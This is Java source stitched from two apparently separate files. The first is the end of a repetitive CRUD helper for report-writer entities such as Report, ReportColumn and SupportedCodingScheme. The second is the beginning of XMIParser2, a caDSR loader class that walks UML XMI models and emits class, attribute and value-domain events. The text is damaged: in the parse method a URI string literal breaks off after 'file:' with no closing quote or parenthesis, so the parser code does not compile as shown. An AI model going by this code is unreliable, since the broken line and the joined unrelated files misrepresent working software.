SDKQueryResult queryResult = appService.executeQuery(query);
//userRole = (UserRole)queryResult.getObjectResult();
}
public void deleteUserRole(UserRole userRole) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(userRole);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private UserAccountStatus createUserAccountStatus(
int statusID,
String statusDescription) {
UserAccountStatus userAccountStatus = new UserAccountStatus();
userAccountStatus.setStatusID(statusID);
userAccountStatus.setStatusDescription(statusDescription);
return userAccountStatus;
}
public void insertUserAccountStatus(
int statusID,
String statusDescription) throws Exception {
UserAccountStatus userAccountStatus = createUserAccountStatus(
statusID,
statusDescription);
insertUserAccountStatus(userAccountStatus);
}
public void updateUserAccountStatus(
int statusID,
String statusDescription) throws Exception {
UserAccountStatus userAccountStatus = createUserAccountStatus(
statusID,
statusDescription);
updateUserAccountStatus(userAccountStatus);
}
public void deleteUserAccountStatus(
int statusID,
String statusDescription) throws Exception {
UserAccountStatus userAccountStatus = createUserAccountStatus(
statusID,
statusDescription);
deleteUserAccountStatus(userAccountStatus);
}
public void insertUserAccountStatus(UserAccountStatus userAccountStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(userAccountStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
//userAccountStatus = (UserAccountStatus)queryResult.getObjectResult();
}
public void updateUserAccountStatus(UserAccountStatus userAccountStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(userAccountStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
//userAccountStatus = (UserAccountStatus)queryResult.getObjectResult();
}
public void deleteUserAccountStatus(UserAccountStatus userAccountStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(userAccountStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private SupportedStandardReport createSupportedStandardReport(
int reportID,
String reportLabel) {
SupportedStandardReport supportedStandardReport = new SupportedStandardReport();
supportedStandardReport.setReportID(reportID);
supportedStandardReport.setReportLabel(reportLabel);
return supportedStandardReport;
}
public void insertSupportedStandardReport(
int reportID,
String reportLabel) throws Exception {
SupportedStandardReport supportedStandardReport = createSupportedStandardReport(
reportID,
reportLabel);
insertSupportedStandardReport(supportedStandardReport);
}
public void updateSupportedStandardReport(
int reportID,
String reportLabel) throws Exception {
SupportedStandardReport supportedStandardReport = createSupportedStandardReport(
reportID,
reportLabel);
updateSupportedStandardReport(supportedStandardReport);
}
public void deleteSupportedStandardReport(
int reportID,
String reportLabel) throws Exception {
SupportedStandardReport supportedStandardReport = createSupportedStandardReport(
reportID,
reportLabel);
deleteSupportedStandardReport(supportedStandardReport);
}
public void insertSupportedStandardReport(SupportedStandardReport supportedStandardReport) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(supportedStandardReport);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedStandardReport = (SupportedStandardReport)queryResult.getObjectResult();
}
public void updateSupportedStandardReport(SupportedStandardReport supportedStandardReport) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(supportedStandardReport);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedStandardReport = (SupportedStandardReport)queryResult.getObjectResult();
}
public void deleteSupportedStandardReport(SupportedStandardReport supportedStandardReport) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(supportedStandardReport);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private ReportStatus createReportStatus(
int ID,
String label) {
ReportStatus reportStatus = new ReportStatus();
reportStatus.setID(ID);
reportStatus.setLabel(label);
return reportStatus;
}
public void insertReportStatus(
int ID,
String label) throws Exception {
ReportStatus reportStatus = createReportStatus(
ID,
label);
insertReportStatus(reportStatus);
}
public void updateReportStatus(
int ID,
String label) throws Exception {
ReportStatus reportStatus = createReportStatus(
ID,
label);
updateReportStatus(reportStatus);
}
public void deleteReportStatus(
int ID,
String label) throws Exception {
ReportStatus reportStatus = createReportStatus(
ID,
label);
deleteReportStatus(reportStatus);
}
public void insertReportStatus(ReportStatus reportStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(reportStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportStatus = (ReportStatus)queryResult.getObjectResult();
}
public void updateReportStatus(ReportStatus reportStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(reportStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportStatus = (ReportStatus)queryResult.getObjectResult();
}
public void deleteReportStatus(ReportStatus reportStatus) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(reportStatus);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private Report createReport(
int ID,
String label,
int statusID,
String formatName,
String URL,
Date lastModified,
String modifiedBy) {
Report report = new Report();
report.setID(ID);
report.setLabel(label);
report.setStatusID(statusID);
report.setFormatName(formatName);
report.setURL(URL);
report.setLastModified(lastModified);
report.setModifiedBy(modifiedBy);
return report;
}
public void insertReport(
int ID,
String label,
int statusID,
String formatName,
String URL,
Date lastModified,
String modifiedBy) throws Exception {
Report report = createReport(
ID,
label,
statusID,
formatName,
URL,
lastModified,
modifiedBy);
insertReport(report);
}
public void updateReport(
int ID,
String label,
int statusID,
String formatName,
String URL,
Date lastModified,
String modifiedBy) throws Exception {
Report report = createReport(
ID,
label,
statusID,
formatName,
URL,
lastModified,
modifiedBy);
updateReport(report);
}
public void deleteReport(
int ID,
String label,
int statusID,
String formatName,
String URL,
Date lastModified,
String modifiedBy) throws Exception {
Report report = createReport(
ID,
label,
statusID,
formatName,
URL,
lastModified,
modifiedBy);
deleteReport(report);
}
public void insertReport(Report report) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(report);
SDKQueryResult queryResult = appService.executeQuery(query);
//report = (Report)queryResult.getObjectResult();
}
public void updateReport(Report report) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(report);
SDKQueryResult queryResult = appService.executeQuery(query);
//report = (Report)queryResult.getObjectResult();
}
public void deleteReport(Report report) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(report);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private ReportColumn createReportColumn(
int id,
String label,
String fieldId,
String propertyType,
String propertyName,
Boolean isPreferred,
String representationalForm,
String source,
String qualifierName,
String qualifierValue,
char delimiter) {
ReportColumn reportColumn = new ReportColumn();
reportColumn.setId(id);
reportColumn.setLabel(label);
reportColumn.setFieldId(fieldId);
reportColumn.setPropertyType(propertyType);
reportColumn.setPropertyName(propertyName);
reportColumn.setIsPreferred(isPreferred);
reportColumn.setRepresentationalForm(representationalForm);
reportColumn.setSource(source);
reportColumn.setQualifierName(qualifierName);
reportColumn.setQualifierValue(qualifierValue);
reportColumn.setDelimiter(delimiter);
return reportColumn;
}
public void insertReportColumn(
int id,
String label,
String fieldId,
String propertyType,
String propertyName,
Boolean isPreferred,
String representationalForm,
String source,
String qualifierName,
String qualifierValue,
char delimiter) throws Exception {
ReportColumn reportColumn = createReportColumn(
id,
label,
fieldId,
propertyType,
propertyName,
isPreferred,
representationalForm,
source,
qualifierName,
qualifierValue,
delimiter);
insertReportColumn(reportColumn);
}
public void updateReportColumn(
int id,
String label,
String fieldId,
String propertyType,
String propertyName,
Boolean isPreferred,
String representationalForm,
String source,
String qualifierName,
String qualifierValue,
char delimiter) throws Exception {
ReportColumn reportColumn = createReportColumn(
id,
label,
fieldId,
propertyType,
propertyName,
isPreferred,
representationalForm,
source,
qualifierName,
qualifierValue,
delimiter);
updateReportColumn(reportColumn);
}
public void deleteReportColumn(
int id,
String label,
String fieldId,
String propertyType,
String propertyName,
Boolean isPreferred,
String representationalForm,
String source,
String qualifierName,
String qualifierValue,
char delimiter) throws Exception {
ReportColumn reportColumn = createReportColumn(
id,
label,
fieldId,
propertyType,
propertyName,
isPreferred,
representationalForm,
source,
qualifierName,
qualifierValue,
delimiter);
deleteReportColumn(reportColumn);
}
public void insertReportColumn(ReportColumn reportColumn) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(reportColumn);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportColumn = (ReportColumn)queryResult.getObjectResult();
}
public void updateReportColumn(ReportColumn reportColumn) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(reportColumn);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportColumn = (ReportColumn)queryResult.getObjectResult();
}
public void deleteReportColumn(ReportColumn reportColumn) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(reportColumn);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private StandardReportTemplate createStandardReportTemplate(
int id,
String label,
String rootConceptCode,
String associationName,
boolean direction,
int level,
java.util.ArrayList<ReportColumn> reportColumnCollection) {
StandardReportTemplate standardReportTemplate = new StandardReportTemplate();
standardReportTemplate.setId(id);
standardReportTemplate.setLabel(label);
standardReportTemplate.setRootConceptCode(rootConceptCode);
standardReportTemplate.setAssociationName(associationName);
standardReportTemplate.setDirection(direction);
standardReportTemplate.setLevel(level);
standardReportTemplate.setReportColumnCollection(reportColumnCollection);
return standardReportTemplate;
}
public void insertStandardReportTemplate(
int id,
String label,
String rootConceptCode,
String associationName,
boolean direction,
int level,
java.util.ArrayList<ReportColumn> reportColumnCollection) throws Exception {
StandardReportTemplate standardReportTemplate = createStandardReportTemplate(
id,
label,
rootConceptCode,
associationName,
direction,
level,
reportColumnCollection);
insertStandardReportTemplate(standardReportTemplate);
}
public void updateStandardReportTemplate(
int id,
String label,
String rootConceptCode,
String associationName,
boolean direction,
int level,
java.util.ArrayList<ReportColumn> reportColumnCollection) throws Exception {
StandardReportTemplate standardReportTemplate = createStandardReportTemplate(
id,
label,
rootConceptCode,
associationName,
direction,
level,
reportColumnCollection);
updateStandardReportTemplate(standardReportTemplate);
}
public void deleteStandardReportTemplate(
int id,
String label,
String rootConceptCode,
String associationName,
boolean direction,
int level,
java.util.ArrayList<ReportColumn> reportColumnCollection) throws Exception {
StandardReportTemplate standardReportTemplate = createStandardReportTemplate(
id,
label,
rootConceptCode,
associationName,
direction,
level,
reportColumnCollection);
deleteStandardReportTemplate(standardReportTemplate);
}
public void insertStandardReportTemplate(StandardReportTemplate standardReportTemplate) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(standardReportTemplate);
SDKQueryResult queryResult = appService.executeQuery(query);
//standardReportTemplate = (StandardReportTemplate)queryResult.getObjectResult();
}
public void updateStandardReportTemplate(StandardReportTemplate standardReportTemplate) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(standardReportTemplate);
SDKQueryResult queryResult = appService.executeQuery(query);
//standardReportTemplate = (StandardReportTemplate)queryResult.getObjectResult();
}
public void deleteStandardReportTemplate(StandardReportTemplate standardReportTemplate) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(standardReportTemplate);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private SupportedFormat createSupportedFormat(
String name,
String description) {
SupportedFormat supportedFormat = new SupportedFormat();
supportedFormat.setName(name);
supportedFormat.setDescription(description);
return supportedFormat;
}
public void insertSupportedFormat(
String name,
String description) throws Exception {
SupportedFormat supportedFormat = createSupportedFormat(
name,
description);
insertSupportedFormat(supportedFormat);
}
public void updateSupportedFormat(
String name,
String description) throws Exception {
SupportedFormat supportedFormat = createSupportedFormat(
name,
description);
updateSupportedFormat(supportedFormat);
}
public void deleteSupportedFormat(
String name,
String description) throws Exception {
SupportedFormat supportedFormat = createSupportedFormat(
name,
description);
deleteSupportedFormat(supportedFormat);
}
public void insertSupportedFormat(SupportedFormat supportedFormat) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(supportedFormat);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedFormat = (SupportedFormat)queryResult.getObjectResult();
}
public void updateSupportedFormat(SupportedFormat supportedFormat) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(supportedFormat);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedFormat = (SupportedFormat)queryResult.getObjectResult();
}
public void deleteSupportedFormat(SupportedFormat supportedFormat) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(supportedFormat);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private SupportedCodingScheme createSupportedCodingScheme(
int ID,
String name,
String version) {
SupportedCodingScheme supportedCodingScheme = new SupportedCodingScheme();
supportedCodingScheme.setID(ID);
supportedCodingScheme.setName(name);
supportedCodingScheme.setVersion(version);
return supportedCodingScheme;
}
public void insertSupportedCodingScheme(
int ID,
String name,
String version) throws Exception {
SupportedCodingScheme supportedCodingScheme = createSupportedCodingScheme(
ID,
name,
version);
insertSupportedCodingScheme(supportedCodingScheme);
}
public void updateSupportedCodingScheme(
int ID,
String name,
String version) throws Exception {
SupportedCodingScheme supportedCodingScheme = createSupportedCodingScheme(
ID,
name,
version);
updateSupportedCodingScheme(supportedCodingScheme);
}
public void deleteSupportedCodingScheme(
int ID,
String name,
String version) throws Exception {
SupportedCodingScheme supportedCodingScheme = createSupportedCodingScheme(
ID,
name,
version);
deleteSupportedCodingScheme(supportedCodingScheme);
}
public void insertSupportedCodingScheme(SupportedCodingScheme supportedCodingScheme) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(supportedCodingScheme);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedCodingScheme = (SupportedCodingScheme)queryResult.getObjectResult();
}
public void updateSupportedCodingScheme(SupportedCodingScheme supportedCodingScheme) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(supportedCodingScheme);
SDKQueryResult queryResult = appService.executeQuery(query);
//supportedCodingScheme = (SupportedCodingScheme)queryResult.getObjectResult();
}
public void deleteSupportedCodingScheme(SupportedCodingScheme supportedCodingScheme) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(supportedCodingScheme);
SDKQueryResult queryResult = appService.executeQuery(query);
}
// To be deleted. No need to have a RootConcept table.
private RootConcept createRootConcept(
int reportID,
int codingSchemeId,
String conceptCode,
String conceptName,
String constributingSource) {
RootConcept rootConcept = new RootConcept();
rootConcept.setReportID(reportID);
rootConcept.setCodingSchemeId(codingSchemeId);
rootConcept.setConceptCode(conceptCode);
rootConcept.setConceptName(conceptName);
rootConcept.setConstributingSource(constributingSource);
return rootConcept;
}
public void insertRootConcept(
int reportID,
int codingSchemeId,
String conceptCode,
String conceptName,
String constributingSource) throws Exception {
RootConcept rootConcept = createRootConcept(
reportID,
codingSchemeId,
conceptCode,
conceptName,
constributingSource);
insertRootConcept(rootConcept);
}
public void updateRootConcept(
int reportID,
int codingSchemeId,
String conceptCode,
String conceptName,
String constributingSource) throws Exception {
RootConcept rootConcept = createRootConcept(
reportID,
codingSchemeId,
conceptCode,
conceptName,
constributingSource);
updateRootConcept(rootConcept);
}
public void deleteRootConcept(
int reportID,
int codingSchemeId,
String conceptCode,
String conceptName,
String constributingSource) throws Exception {
RootConcept rootConcept = createRootConcept(
reportID,
codingSchemeId,
conceptCode,
conceptName,
constributingSource);
deleteRootConcept(rootConcept);
}
public void insertRootConcept(RootConcept rootConcept) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(rootConcept);
SDKQueryResult queryResult = appService.executeQuery(query);
//rootConcept = (RootConcept)queryResult.getObjectResult();
}
public void updateRootConcept(RootConcept rootConcept) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(rootConcept);
SDKQueryResult queryResult = appService.executeQuery(query);
//rootConcept = (RootConcept)queryResult.getObjectResult();
}
public void deleteRootConcept(RootConcept rootConcept) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(rootConcept);
SDKQueryResult queryResult = appService.executeQuery(query);
}
}
|
package gov.nih.nci.ncicb.cadsr.loader.parser;
import gov.nih.nci.ncicb.cadsr.loader.event.*;
import gov.nih.nci.ncicb.cadsr.loader.defaults.UMLDefaults;
import org.apache.log4j.Logger;
import gov.nih.nci.ncicb.cadsr.loader.util.PropertyAccessor;
import gov.nih.nci.ncicb.cadsr.loader.util.StringUtil;
import gov.nih.nci.ncicb.cadsr.loader.util.RunMode;
import gov.nih.nci.ncicb.cadsr.loader.validator.*;
import gov.nih.nci.ncicb.cadsr.loader.UserSelections;
import gov.nih.nci.ncicb.xmiinout.handler.*;
import gov.nih.nci.ncicb.xmiinout.domain.*;
import java.io.*;
import java.util.*;
/**
* Implemetation of <code>Parser</code> for XMI files. Navigates the XMI document and sends UML Object events.
*
* @author <a href="mailto:ludetc@mail.nih.gov">Christophe Ludet</a>
*/
public class XMIParser2 implements Parser {
private static final String EA_CONTAINMENT = "containment";
private static final String EA_UNSPECIFIED = "Unspecified";
private UMLHandler listener;
private String packageName = "";
private String className = "";
private Logger logger = Logger.getLogger(XMIParser.class.getName());
private List<NewAssociationEvent> associationEvents = new ArrayList<NewAssociationEvent>();
// Key = child class Name
Map<String, NewGeneralizationEvent> childGeneralizationMap =
new HashMap<String, NewGeneralizationEvent>();
private String reviewTag = null;
private ProgressListener progressListener = null;
public final static String VD_STEREOTYPE = "CADSR Value Domain";
public static final String TV_PROP_ID = "CADSR_PROP_ID";
public static final String TV_PROP_VERSION = "CADSR_PROP_VERSION";
public static final String TV_DE_ID = "CADSR_DE_ID";
public static final String TV_DE_VERSION = "CADSR_DE_VERSION";
public static final String TV_VALUE_DOMAIN = "CADSR Local Value Domain";
public static final String TV_VD_ID = "CADSR_VD_ID";
public static final String TV_VD_VERSION = "CADSR_VD_VERSION";
public static final String TV_OC_ID = "CADSR_OC_ID";
public static final String TV_OC_VERSION = "CADSR_OC_VERSION";
public static final String TV_VD_DEFINITION = "CADSR_ValueDomainDefinition";
public static final String TV_VD_DATATYPE = "CADSR_ValueDomainDatatype";
public static final String TV_VD_TYPE = "CADSR_ValueDomainType";
public static final String TV_CD_ID = "CADSR_ConceptualDomainPublicID";
public static final String TV_CD_VERSION = "CADSR_ConceptualDomainVersion";
/**
* Tagged Value name for Concept Code
*/
public static final String TV_CONCEPT_CODE = "ConceptCode";
/**
* Tagged Value name for Concept Preferred Name
*/
public static final String TV_CONCEPT_PREFERRED_NAME = "ConceptPreferredName";
/**
* Tagged Value name for Concept Definition
*/
public static final String TV_CONCEPT_DEFINITION = "ConceptDefinition";
/**
* Tagged Value name for Concept Definition Source
*/
public static final String TV_CONCEPT_DEFINITION_SOURCE = "ConceptDefinitionSource";
/**
* Qualifier Tagged Value prepender.
*/
public static final String TV_QUALIFIER = "Qualifier";
/**
* ObjectClass Tagged Value prepender.
*/
public static final String TV_TYPE_CLASS = "ObjectClass";
/**
* Property Tagged Value prepender.
*/
public static final String TV_TYPE_PROPERTY = "Property";
/**
* ValueDomain Tagged Value prepender.
*/
public static final String TV_TYPE_VD = "ValueDomain";
/**
* Value Meaning Tagged Value prepender.
*/
public static final String TV_TYPE_VM = "ValueMeaning";
/**
* Association Role Tagged Value prepender.
*/
public static final String TV_TYPE_ASSOC_ROLE = "AssociationRole";
/**
* Association Source Tagged Value prepender.
*/
public static final String TV_TYPE_ASSOC_SOURCE = "AssociationSource";
/**
* Association Target Tagged Value prepender.
*/
public static final String TV_TYPE_ASSOC_TARGET = "AssociationTarget";
/**
* Tagged Value name for Documentation
*/
public static final String TV_DOCUMENTATION = "documentation";
public static final String TV_DESCRIPTION = "description";
// replaced by type specific review tags
// public static final String TV_HUMAN_REVIEWED = "HUMAN_REVIEWED";
public static final String TV_OWNER_REVIEWED = "OWNER_REVIEWED";
public static final String TV_CURATOR_REVIEWED = "CURATOR_REVIEWED";
private int totalNumberOfElements = 0, currentElementIndex = 0;
private String[] bannedClassNames = null;
{
bannedClassNames = PropertyAccessor.getProperty("banned.classNames").split(",");
}
public void setEventHandler(LoaderHandler handler) {
this.listener = (UMLHandler) handler;
if (progressListener != null) {
listener.addProgressListener(progressListener);
}
}
public void parse(String filename) throws ParserException {
try {
RunMode runMode = (RunMode)(UserSelections.getInstance().getProperty("MODE"));
if(runMode.equals(RunMode.Curator)) {
reviewTag = TV_CURATOR_REVIEWED;
} else {
reviewTag = TV_OWNER_REVIEWED;
}
long start = System.currentTimeMillis();
listener.beginParsing();
ProgressEvent evt = new ProgressEvent();
evt.setMessage("Parsing ...");
fireProgressEvent(evt);
XmiInOutHandler handler = XmiHandlerFactory.getXmiHandler(HandlerEnum.EADefault);
String s = filename.replaceAll("\\ ", "%20");
// Some file systems use absolute URIs that do
// not start with '/'.
if(!s.startsWith("/"))
s = "/" + s;
java.net.URI uri = new java.net.URI("file:
handler.load(uri);
UMLModel model = handler.getModel("EA Model");
// save in memory for fast-save
UserSelections.getInstance().setProperty("XMI_HANDLER", handler);
totalNumberOfElements = countNumberOfElements(model);
evt.setMessage("Parsing ...");
evt.setGoal(totalNumberOfElements);
fireProgressEvent(evt);
for(UMLPackage pkg : model.getPackages()) {
doPackage(pkg);
}
for(UMLAssociation assoc : model.getAssociations()) {
doAssociation(assoc);
}
for (UMLGeneralization g : model.getGeneralizations()) {
UMLClass parentClass = g.getSupertype();
UMLClass subClass = g.getSubtype();
// Check if the parent is not explicitely excluded.
String ppName = getPackageName(parentClass.getPackage());
if(StringUtil.isEmpty(ppName) || !isInPackageFilter(ppName)) {
logger.info(PropertyAccessor.getProperty("skip.inheritance", ppName + "." + parentClass.getName(), getPackageName(subClass.getPackage()) + "." + subClass.getName()));
continue;
}
NewGeneralizationEvent gEvent = new NewGeneralizationEvent();
gEvent.setParentClassName(
getPackageName(parentClass.getPackage()) + "." + parentClass.getName());
gEvent.setChildClassName(
getPackageName(subClass.getPackage()) + "." + subClass.getName());
childGeneralizationMap.put(gEvent.getChildClassName(), gEvent);
}
fireLastEvents();
listener.endParsing();
long stop = System.currentTimeMillis();
logger.debug("parsing took: "+(stop-start)+" ms");
}
catch (Exception e) {
throw new ParserException(e);
} // end of try-catch
}
private int countNumberOfElements(UMLModel model) {
int count = 0;
for(UMLPackage pkg : model.getPackages()) {
count = countPackage(pkg, count);
}
return count;
}
private int countPackage(UMLPackage pkg, int count) {
for(UMLPackage subPkg : pkg.getPackages()) {
count = countPackage(subPkg, count);
}
for(UMLClass clazz : pkg.getClasses()) {
count++;
count = countClass(clazz, count);
}
return count;
}
private int countClass(UMLClass clazz, int count) {
for(UMLAttribute att : clazz.getAttributes())
count++;
return count;
}
private void doPackage(UMLPackage pack) {
UMLDefaults defaults = UMLDefaults.getInstance();
if (packageName.length() == 0) {
// if(pack.getName().indexOf(" ") == -1)
packageName = pack.getName();
}
else {
// if(pack.getName().indexOf(" ") == -1)
packageName += ("." + pack.getName());
}
if(isInPackageFilter(packageName)) {
listener.newPackage(new NewPackageEvent(packageName));
} else {
logger.info(PropertyAccessor.getProperty("skip.package", packageName));
}
for(UMLPackage subPkg : pack.getPackages()) {
String oldPackage = packageName;
doPackage(subPkg);
packageName = oldPackage;
}
for(UMLClass clazz : pack.getClasses()) {
doClass(clazz);
}
packageName = "";
}
private void doClass(UMLClass clazz) {
UMLDefaults defaults = UMLDefaults.getInstance();
String pName = getPackageName(clazz.getPackage());
className = clazz.getName();
String st = clazz.getStereotype();
if(st != null)
if(st.equals(VD_STEREOTYPE)) {
doValueDomain(clazz);
return;
}
if (pName != null) {
className = pName + "." + className;
}
currentElementIndex++;
ProgressEvent evt = new ProgressEvent();
evt.setMessage("Parsing " + className);
evt.setStatus(currentElementIndex);
fireProgressEvent(evt);
NewClassEvent event = new NewClassEvent(className.trim());
event.setPackageName(pName);
setConceptInfo(clazz, event, TV_TYPE_CLASS);
logger.debug("CLASS: " + className);
logger.debug("CLASS PACKAGE: " + getPackageName(clazz.getPackage()));
if(isClassBanned(className)) {
logger.info(PropertyAccessor.getProperty("class.filtered", className));
return;
}
if(StringUtil.isEmpty(pName))
{
logger.info(PropertyAccessor.getProperty("class.no.package", className));
return;
}
String description = getDocumentation(clazz, TV_DOCUMENTATION);
if(description != null) {
event.setDescription(description);
} else {
description = getDocumentation(clazz, TV_DESCRIPTION);
if(description != null) {
event.setDescription(description);
}
}
UMLTaggedValue tv = clazz.getTaggedValue(reviewTag);
if(tv != null) {
event.setReviewed(tv.getValue().equals("1")?true:false);
}
if(isInPackageFilter(pName)) {
listener.newClass(event);
} else {
logger.info(PropertyAccessor.getProperty("class.filtered", className));
return;
}
for(UMLAttribute att : clazz.getAttributes()) {
doAttribute(att);
}
className = "";
}
private void doValueDomain(UMLClass clazz) {
UMLDefaults defaults = UMLDefaults.getInstance();
className = clazz.getName();
currentElementIndex++;
ProgressEvent evt = new ProgressEvent();
evt.setMessage("Parsing " + className);
evt.setStatus(currentElementIndex);
fireProgressEvent(evt);
NewValueDomainEvent event = new NewValueDomainEvent(className.trim());
setConceptInfo(clazz, event, TV_TYPE_VD);
logger.debug("Value Domain: " + className);
UMLTaggedValue tv = clazz.getTaggedValue(TV_VD_DEFINITION);
if(tv != null) {
event.setDescription(tv.getValue());
}
tv = clazz.getTaggedValue(TV_VD_DATATYPE);
if(tv != null) {
event.setDatatype(tv.getValue());
}
tv = clazz.getTaggedValue(TV_VD_TYPE);
if(tv != null) {
event.setType(tv.getValue());
}
tv = clazz.getTaggedValue(TV_CD_ID);
if(tv != null) {
event.setCdId(tv.getValue());
}
tv = clazz.getTaggedValue(TV_CD_VERSION);
if(tv != null) {
try {
event.setCdVersion(new Float(tv.getValue()));
} catch (NumberFormatException e){
logger.warn(PropertyAccessor.getProperty("version.numberFormatException", tv.getValue()));
} // end of try-catch
}
tv = clazz.getTaggedValue(reviewTag);
if(tv != null) {
event.setReviewed(tv.getValue().equals("1")?true:false);
}
listener.newValueDomain(event);
for (UMLAttribute att : clazz.getAttributes()) {
doValueMeaning(att);
}
className = "";
}
// private void doInterface(Interface interf) {
// className = packageName + "." + interf.getName();
// // logger.debug("Class: " + className);
// listener.newInterface(new NewInterfaceEvent(className.trim()));
// Iterator it = interf.getFeature().iterator();
// while (it.hasNext()) {
// Object o = it.next();
// if (o instanceof Attribute) {
// doAttribute((Attribute) o);
// else if (o instanceof Operation) {
// doOperation((Operation) o);
// else {
// logger.debug("Class child: " + o.getClass());
// className = "";
private void doAttribute(UMLAttribute att) {
NewAttributeEvent event = new NewAttributeEvent(att.getName().trim());
event.setClassName(className);
currentElementIndex++;
ProgressEvent evt = new ProgressEvent();
evt.setMessage("Parsing " + att.getName());
evt.setStatus(currentElementIndex);
fireProgressEvent(evt);
if(att.getDatatype() == null || att.getDatatype().getName() == null) {
ValidationItems.getInstance()
.addItem(new ValidationFatal
(PropertyAccessor
.getProperty
("validation.type.missing.for"
, event.getClassName() + "." + event.getName()),
null));
return;
}
// See if datatype is a simple datatype or a value domain.
UMLTaggedValue tv = att.getTaggedValue(TV_VALUE_DOMAIN);
if(tv != null) { // Use Value Domain
event.setType(tv.getValue());
} else { // Use datatype
event.setType(att.getDatatype().getName());
}
String description = getDocumentation(att, TV_DESCRIPTION);
if(description != null) {
event.setDescription(description);
} else {
description = getDocumentation(att, TV_DOCUMENTATION);
if(description != null) {
event.setDescription(description);
}
}
tv = att.getTaggedValue(reviewTag);
if(tv != null) {
event.setReviewed(tv.getValue().equals("1")?true:false);
}
// Is this attribute mapped to an existing CDE?
tv = att.getTaggedValue(TV_DE_ID);
if(tv != null) {
event.setPersistenceId(tv.getValue());
}
tv = att.getTaggedValue(TV_DE_VERSION);
if(tv != null) {
try {
event.setPersistenceVersion(new Float(tv.getValue()));
} catch (NumberFormatException e){
} // end of try-catch
}
tv = att.getTaggedValue(TV_VD_ID);
if(tv != null) {
event.setTypeId(tv.getValue());
}
tv = att.getTaggedValue(TV_VD_VERSION);
if(tv != null) {
try {
event.setTypeVersion(new Float(tv.getValue()));
} catch (NumberFormatException e){
} // end of try-catch
}
